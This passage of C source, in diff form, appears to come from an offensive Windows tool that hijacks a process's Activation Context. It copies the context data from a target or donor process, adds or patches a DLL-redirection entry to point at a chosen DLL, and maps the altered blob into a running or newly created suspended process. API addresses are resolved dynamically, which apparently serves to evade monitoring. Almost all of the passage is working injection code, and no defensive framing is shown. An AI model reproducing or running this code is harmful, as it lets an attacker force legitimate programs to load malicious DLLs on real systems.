void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hTarget, &actCtxSize);
|
||||
|
||||
if (!actCtxBlob) {
|
||||
printf("[ERROR] Failed to copy Activation Context Data blob from target process.\n");
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize);
|
||||
|
||||
// Reallocate with extra space for patching
|
||||
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES);
|
||||
if (!blob) {
|
||||
printf("[ERROR] HeapReAlloc failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, actCtxBlob);
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Convert dllName and dllPath to WCHAR
|
||||
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
|
||||
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
|
||||
if (!wDllName || !wDllPath) {
|
||||
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Locate the DLL redirection section
|
||||
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
|
||||
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
|
||||
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
|
||||
for (ULONG i = 0; i < toc->EntryCount; i++) {
|
||||
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
|
||||
dllToc = &tocEntries[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!dllToc) {
|
||||
printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n");
|
||||
printf("[HINT] The target has no SxS DLL redirection manifest.\n");
|
||||
printf(" Use 'steal-context' to steal the entire Activation Context from a process that has one.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Search for the target entry by case-insensitive name
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
|
||||
BYTE* B1 = (BYTE*)sshdr;
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
|
||||
|
||||
ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR));
|
||||
LONG foundIdx = -1;
|
||||
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
|
||||
if (keyByteLen != strEntries[i].KeyLength) continue;
|
||||
const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset);
|
||||
ULONG nChars = keyByteLen / sizeof(WCHAR);
|
||||
BOOL match = TRUE;
|
||||
for (ULONG c = 0; c < nChars; c++) {
|
||||
WCHAR a = existingKey[c];
|
||||
WCHAR b = wDllName[c];
|
||||
if (a >= L'A' && a <= L'Z') a += (L'a' - L'A');
|
||||
if (b >= L'A' && b <= L'Z') b += (L'a' - L'A');
|
||||
if (a != b) { match = FALSE; break; }
|
||||
}
|
||||
if (match) { foundIdx = (LONG)i; break; }
|
||||
}
|
||||
|
||||
free(wDllName);
|
||||
|
||||
if (foundIdx < 0) {
|
||||
printf("[ERROR] '%s' not found in DLL redirection section.\n", dllName);
|
||||
printf("[HINT] No existing redirect for this DLL. Use 'add-entry' to create one.\n");
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[INFO] Patching entry[%ld]: dllName='%s' redirectPath='%s'\n", foundIdx, dllName, dllPath);
|
||||
|
||||
// Patch the existing entry
|
||||
ULONG newTotalSize = PatchDllRedirectionEntry(blob, (ULONG)actCtxSize, (ULONG)foundIdx, wDllPath);
|
||||
free(wDllPath);
|
||||
|
||||
if (newTotalSize == (ULONG)actCtxSize) {
|
||||
printf("[ERROR] PatchDllRedirectionEntry failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(hTarget);
|
||||
return FALSE;
|
||||
}
|
||||
printf("[SUCCESS] Entry patched. New TotalSize = 0x%lX\n", newTotalSize);
|
||||
|
||||
// Print patched blob contents
|
||||
printf("\n[INFO] Patched ActivationContextData:\n");
|
||||
ParseDllRedirections((const BYTE*)blob, newTotalSize);
|
||||
|
||||
// Inject patched blob into the running target process
|
||||
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, hTarget, blob, newTotalSize);
|
||||
CloseHandle(hTarget);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Activation Context hijacked in running process '%s'.\n", targetName);
|
||||
|
||||
// Cleanup
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL modeRuntime(const char* submode, const char* targetName, const char* dllName, const char* dllPath, const char* stealFrom) {
|
||||
if (strcmp(submode, "steal-context") == 0) {
|
||||
if (!runtimeStealContext(targetName, dllName, dllPath, stealFrom)) return FALSE;
|
||||
return TRUE;
|
||||
} else if (strcmp(submode, "add-entry") == 0) {
|
||||
if (!runtimeAddEntry(targetName, dllName, dllPath)) return FALSE;
|
||||
return TRUE;
|
||||
} else if (strcmp(submode, "patch-entry") == 0) {
|
||||
if (!runtimePatchEntry(targetName, dllName, dllPath)) return FALSE;
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
BOOL modeRuntime(
|
||||
const char* submode,
|
||||
const char* targetName,
|
||||
const char* dllName,
|
||||
const char* dllPath,
|
||||
const char* stealFrom
|
||||
);
|
||||
|
||||
BOOL runtimeStealContext(
|
||||
const char* targetName,
|
||||
const char* dllName,
|
||||
const char* dllPath,
|
||||
const char* stealFrom
|
||||
);
|
||||
|
||||
BOOL runtimeAddEntry(
|
||||
const char* targetName,
|
||||
const char* dllName,
|
||||
const char* dllPath
|
||||
);
|
||||
|
||||
BOOL runtimePatchEntry(
|
||||
const char* targetName,
|
||||
const char* dllName,
|
||||
const char* dllPath
|
||||
);
|
||||
@@ -0,0 +1,551 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "spawn.h"
|
||||
#include "..\common\dynamic_resolution.h"
|
||||
#include "..\common\c_runtime.h"
|
||||
#include "..\common\ntdefs.h"
|
||||
#include "..\common\actctx.h"
|
||||
#include "..\common\process_utils.h"
|
||||
|
||||
BOOL spawnStealContext(const char* targetPath, const char* dllName, const char* dllPath, const char* stealFrom) {
|
||||
|
||||
// Dynamic module address resolution using custom implementation of GetModuleHandleW
|
||||
HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll");
|
||||
|
||||
if(!hKernel32){
|
||||
printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
|
||||
|
||||
if(!hNtdll){
|
||||
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Dynamic function address resolution using custom implementation of GetProcAddressA
|
||||
fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW");
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
|
||||
fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation)phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation");
|
||||
fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess)phantom_GetProcAddressA(hNtdll, "NtOpenProcess");
|
||||
fnNtCreateSection pNtCreateSection = (fnNtCreateSection)phantom_GetProcAddressA(hNtdll, "NtCreateSection");
|
||||
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
|
||||
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
|
||||
fnResumeThread pResumeThread = (fnResumeThread)phantom_GetProcAddressA(hKernel32, "ResumeThread");
|
||||
|
||||
if (!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess || !pNtQuerySystemInformation || !pNtOpenProcess || !pNtCreateSection || !pNtMapViewOfSection || !pResumeThread || !pNtUnmapViewOfSection) {
|
||||
printf("[ERROR] Dynamic function address resolution failed.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Get steal process handle specifying the process name
|
||||
WCHAR* wStealFrom = phantom_char_to_wchar_ascii(stealFrom);
|
||||
HANDLE hStealProcess = GetProcessHandleByName(pNtQuerySystemInformation, pNtOpenProcess, wStealFrom, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION);
|
||||
free(wStealFrom);
|
||||
|
||||
if (!hStealProcess) return FALSE;
|
||||
|
||||
// Copy ACTIVATION_CONTEXT_DATA blob from target steal process to local heap buffer
|
||||
SIZE_T actCtxSize = 0;
|
||||
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, hStealProcess, &actCtxSize);
|
||||
CloseHandle(hStealProcess);
|
||||
|
||||
if(!actCtxBlob){
|
||||
printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n");
|
||||
return FALSE;
|
||||
}
|
||||
printf("[INFO] Activation Context blob from '%s'. TotalSize=0x%lX\n", stealFrom, (ULONG)actCtxSize);
|
||||
|
||||
// Reallocate with extra space for patching
|
||||
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES + EXTRA_BYTES_ADD);
|
||||
if (!blob) {
|
||||
printf("[ERROR] HeapReAlloc failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, actCtxBlob);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Convert dllName and dllPath to WCHAR
|
||||
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
|
||||
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
|
||||
if (!wDllName || !wDllPath) {
|
||||
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[INFO] Patching blob: dllName='%s' redirectPath='%s'\n", dllName, dllPath);
|
||||
|
||||
// Patch or add DLL redirection entry
|
||||
ULONG newTotalSize = PatchOrAddDllRedirection(
|
||||
blob,
|
||||
(ULONG)actCtxSize,
|
||||
wDllName,
|
||||
wDllPath,
|
||||
1
|
||||
);
|
||||
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
|
||||
if (newTotalSize == (ULONG)actCtxSize) {
|
||||
printf("[ERROR] PatchOrAddDllRedirection failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return FALSE;
|
||||
}
|
||||
printf("[SUCCESS] Blob patched. New TotalSize = 0x%lX\n", newTotalSize);
|
||||
|
||||
// Print patched blob contents
|
||||
printf("\n[INFO] Patched ActivationContextData:\n");
|
||||
ParseDllRedirections((const BYTE*)blob, newTotalSize);
|
||||
|
||||
// Launch target process in suspended state
|
||||
WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath);
|
||||
STARTUPINFOW si = { 0 };
|
||||
si.cb = sizeof(STARTUPINFOW);
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
BOOL result = pCreateProcessW(
|
||||
NULL,
|
||||
widePath,
|
||||
NULL,
|
||||
NULL,
|
||||
FALSE,
|
||||
CREATE_SUSPENDED,
|
||||
NULL,
|
||||
NULL,
|
||||
&si,
|
||||
&pi
|
||||
);
|
||||
|
||||
free(widePath);
|
||||
|
||||
if (!result) {
|
||||
printf("[ERROR] CreateProcessW failed: %u\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Suspended process created...\n");
|
||||
|
||||
// Inject patched Activation Context blob into the suspended target process
|
||||
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, pi.hProcess, blob, newTotalSize);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
result = pResumeThread(pi.hThread);
|
||||
|
||||
if (!result) {
|
||||
printf("[ERROR] ResumeThread failed: %u\n", GetLastError());
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Target process resumed.\n");
|
||||
|
||||
// Cleanup
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL spawnAddEntry(const char* targetPath, const char* dllName, const char* dllPath) {
|
||||
|
||||
// Dynamic module address resolution using custom implementation of GetModuleHandleW
|
||||
HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll");
|
||||
|
||||
if(!hKernel32){
|
||||
printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
|
||||
|
||||
if(!hNtdll){
|
||||
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Dynamic function address resolution using custom implementation of GetProcAddressA
|
||||
fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW");
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
|
||||
fnNtCreateSection pNtCreateSection = (fnNtCreateSection)phantom_GetProcAddressA(hNtdll, "NtCreateSection");
|
||||
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
|
||||
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
|
||||
fnResumeThread pResumeThread = (fnResumeThread)phantom_GetProcAddressA(hKernel32, "ResumeThread");
|
||||
|
||||
if (!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection || !pResumeThread) {
|
||||
printf("[ERROR] Dynamic function address resolution failed.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Launch target process in suspended state
|
||||
WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath);
|
||||
STARTUPINFOW si = { 0 };
|
||||
si.cb = sizeof(STARTUPINFOW);
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
BOOL result = pCreateProcessW(NULL, widePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
||||
free(widePath);
|
||||
|
||||
if (!result) {
|
||||
printf("[ERROR] CreateProcessW failed: %u\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Suspended process created...\n");
|
||||
|
||||
// Copy ACTIVATION_CONTEXT_DATA blob from the suspended target process itself
|
||||
SIZE_T actCtxSize = 0;
|
||||
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, pi.hProcess, &actCtxSize);
|
||||
|
||||
if (!actCtxBlob) {
|
||||
printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n");
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize);
|
||||
|
||||
// Reallocate with extra space for the new entry
|
||||
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES_ADD);
|
||||
if (!blob) {
|
||||
printf("[ERROR] HeapReAlloc failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, actCtxBlob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Convert dllName and dllPath to WCHAR
|
||||
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
|
||||
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
|
||||
if (!wDllName || !wDllPath) {
|
||||
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Reject if the entry already exists —> use patch-entry to overwrite an existing redirect
|
||||
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
|
||||
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
|
||||
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
|
||||
for (ULONG i = 0; i < toc->EntryCount; i++) {
|
||||
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
|
||||
dllToc = &tocEntries[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!dllToc) {
|
||||
printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n");
|
||||
printf("[HINT] The target has no DLL redirection section.\n");
|
||||
printf(" Use 'steal-context' to steal the Activation Context from a process that has one.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
{
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset);
|
||||
BYTE* B1 = (BYTE*)sshdr;
|
||||
ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset);
|
||||
ULONG keyByteLen = (ULONG)(wcslen(wDllName) * sizeof(WCHAR));
|
||||
|
||||
for (ULONG i = 0; i < sshdr->ElementCount; i++) {
|
||||
if (keyByteLen != strEntries[i].KeyLength) continue;
|
||||
const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset);
|
||||
ULONG nChars = keyByteLen / sizeof(WCHAR);
|
||||
BOOL match = TRUE;
|
||||
for (ULONG c = 0; c < nChars; c++) {
|
||||
WCHAR a = existingKey[c];
|
||||
WCHAR b = wDllName[c];
|
||||
if (a >= L'A' && a <= L'Z') a += (L'a' - L'A');
|
||||
if (b >= L'A' && b <= L'Z') b += (L'a' - L'A');
|
||||
if (a != b) { match = FALSE; break; }
|
||||
}
|
||||
if (match) {
|
||||
printf("[ERROR] '%s' already exists at entry[%lu].\n", dllName, i);
|
||||
printf("[HINT] Use 'patch-entry' to overwrite the existing redirect.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
printf("[INFO] Adding entry: dllName='%s' redirectPath='%s'\n", dllName, dllPath);
|
||||
|
||||
// Add new DLL redirection entry
|
||||
ULONG newTotalSize = AddDllRedirectionEntry(blob, (ULONG)actCtxSize, wDllName, wDllPath, 1);
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
|
||||
if (newTotalSize == (ULONG)actCtxSize) {
|
||||
printf("[ERROR] AddDllRedirectionEntry failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
printf("[SUCCESS] Entry added. New TotalSize = 0x%lX\n", newTotalSize);
|
||||
|
||||
// Print patched blob contents
|
||||
printf("\n[INFO] Patched ActivationContextData:\n");
|
||||
ParseDllRedirections((const BYTE*)blob, newTotalSize);
|
||||
|
||||
// Inject patched Activation Context blob into the suspended target process
|
||||
NTSTATUS status = HijackActCtx(pNtReadVirtualMemory, pNtCreateSection, pNtMapViewOfSection, pNtUnmapViewOfSection, pNtQueryInformationProcess, pi.hProcess, blob, newTotalSize);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
printf("[ERROR] HijackActCtx failed: 0x%08lX\n", status);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
result = pResumeThread(pi.hThread);
|
||||
if (!result) {
|
||||
printf("[ERROR] ResumeThread failed: %u\n", GetLastError());
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Target process resumed.\n");
|
||||
|
||||
// Cleanup
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL spawnPatchEntry(const char* targetPath, const char* dllName, const char* dllPath) {
|
||||
|
||||
// Dynamic module address resolution using custom implementation of GetModuleHandleW
|
||||
HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll");
|
||||
|
||||
if(!hKernel32){
|
||||
printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll");
|
||||
|
||||
if(!hNtdll){
|
||||
printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Dynamic function address resolution using custom implementation of GetProcAddressA
|
||||
fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW");
|
||||
fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory");
|
||||
fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess");
|
||||
fnNtCreateSection pNtCreateSection = (fnNtCreateSection)phantom_GetProcAddressA(hNtdll, "NtCreateSection");
|
||||
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtMapViewOfSection");
|
||||
fnNtUnmapViewOfSection pNtUnmapViewOfSection = (fnNtUnmapViewOfSection)phantom_GetProcAddressA(hNtdll, "NtUnmapViewOfSection");
|
||||
fnResumeThread pResumeThread = (fnResumeThread)phantom_GetProcAddressA(hKernel32, "ResumeThread");
|
||||
|
||||
if (!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess || !pNtCreateSection || !pNtMapViewOfSection || !pNtUnmapViewOfSection || !pResumeThread) {
|
||||
printf("[ERROR] Dynamic function address resolution failed.\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Launch target process in suspended state
|
||||
WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath);
|
||||
STARTUPINFOW si = { 0 };
|
||||
si.cb = sizeof(STARTUPINFOW);
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
BOOL result = pCreateProcessW(NULL, widePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
||||
free(widePath);
|
||||
|
||||
if (!result) {
|
||||
printf("[ERROR] CreateProcessW failed: %u\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Suspended process created...\n");
|
||||
|
||||
// Copy ACTIVATION_CONTEXT_DATA blob from the suspended target process itself
|
||||
SIZE_T actCtxSize = 0;
|
||||
void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, pi.hProcess, &actCtxSize);
|
||||
|
||||
if (!actCtxBlob) {
|
||||
printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n");
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
printf("[INFO] Blob copied from target. TotalSize=0x%lX\n", (ULONG)actCtxSize);
|
||||
|
||||
// Reallocate with extra space for patching
|
||||
BYTE* blob = (BYTE*)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, actCtxBlob, actCtxSize + EXTRA_BYTES);
|
||||
if (!blob) {
|
||||
printf("[ERROR] HeapReAlloc failed.\n");
|
||||
HeapFree(GetProcessHeap(), 0, actCtxBlob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Convert dllName and dllPath to WCHAR
|
||||
WCHAR* wDllName = phantom_char_to_wchar_ascii(dllName);
|
||||
WCHAR* wDllPath = phantom_char_to_wchar_ascii(dllPath);
|
||||
if (!wDllName || !wDllPath) {
|
||||
printf("[ERROR] Failed to convert dllName/dllPath to WCHAR.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Search for the target entry by case-insensitive name
|
||||
ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob;
|
||||
ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset);
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset);
|
||||
|
||||
ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL;
|
||||
for (ULONG i = 0; i < toc->EntryCount; i++) {
|
||||
if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) {
|
||||
dllToc = &tocEntries[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!dllToc) {
|
||||
printf("[ERROR] No DLL redirection section (Id==2) found in the target's blob.\n");
|
||||
printf("[HINT] The target has no SxS DLL redirection manifest.\n");
|
||||
printf(" Use 'steal-context' to steal the entire Activation Context from a process that has one.\n");
|
||||
free(wDllName);
|
||||
free(wDllPath);
|
||||
HeapFree(GetProcessHeap(), 0, blob);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
